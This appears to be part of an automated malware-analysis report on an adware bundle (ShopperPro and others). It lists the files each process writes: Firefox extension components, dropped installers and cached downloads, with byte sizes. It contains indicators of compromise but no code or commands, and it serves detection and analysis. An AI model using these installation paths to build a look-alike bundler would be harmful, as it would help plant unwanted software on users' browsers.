C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\d8626b8e850277ed7fdf272ecd267e9a.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\fd49b6a5cdcc59c0250ad972ec3c61af.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0ede523e9d62632ae3f184d5b3605ee7.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\d7d940477bf1bdd2a56a714ced795b06.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1c08760de6994a9959ec47f5846500ab.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\bc0778c229379f8027d3759f2e281378.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9e2844c3043a09f82b741a8eec8d39ba.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9a48283b8066b2f4cd723be7b4ae4db0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6e1957c112649b685e5721870f753aa5.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\043955574682136ec32b0c147c1258a4.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\56b6cac4c5befd508eb2f8a3f74ca5f0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e52a82513dd33d52564ba66f0c46733a.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\028c8aae2333026765398acdc56c10ff.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\636c75f2e801b849f500e085afaa027e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\009886072051bd682eedfdfe90d9e174.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4bbe163422a2d1b4846092415a845aff.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\18e34d89c4c271350e03579353e9cf7c.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3727ba62290da8b6183ea6ceb085db9b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\85af7b4c5e5f68f1e2c8261ee232e486.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1e0160fb06a4086bfe07df3553168f3e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e939a25438965058c7963756aa28c05f.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7b7d31961b1ea67de090a6e2a732829c.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\47d5f7c8b76dce93f932af5f207ca2a8.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8ce268e172382461b69b8f10e06e76e1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ec5b3c71f8962714ba93bd24997780ec.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\b07d86e1b0c9f4091953f61df448331b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7f7ec0434f4123f013c5544ddb5941b7.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7cf44ac22bf4b7c3bc68d2f185e799c9.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f7bc805fd8f6504f1821ea354f4a75a0.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7a24ae04610d415b69bdd99a4c33c810.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ae63195f6b454a3a73ada7efc08c6eb2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9c2a225828e24e86b6af473d4ccea769.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\910508cf29ec5b903cd3b4b6f2f92f9c.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\facb12b684bf93962135b84cae42dfa5.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\00eacea7b25817dbb7bd3b8ad23b6afd.js (13 bytes)

The process DCytaiesmt_smtyc_setup.exe:2436 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_iwebar.exe (45671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_sense.exe (49608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_shopperpro.exe (17450 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_23861\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_yta.exe (28491 bytes)

The process DCytaiesmt_smtyc_setup.exe:3252 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_16207\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process spbiu.exe:4008 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:3456 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process nso63A4.tmp:3200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\uinst.exe (19050 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[3] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\webprotector_chrome[1] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
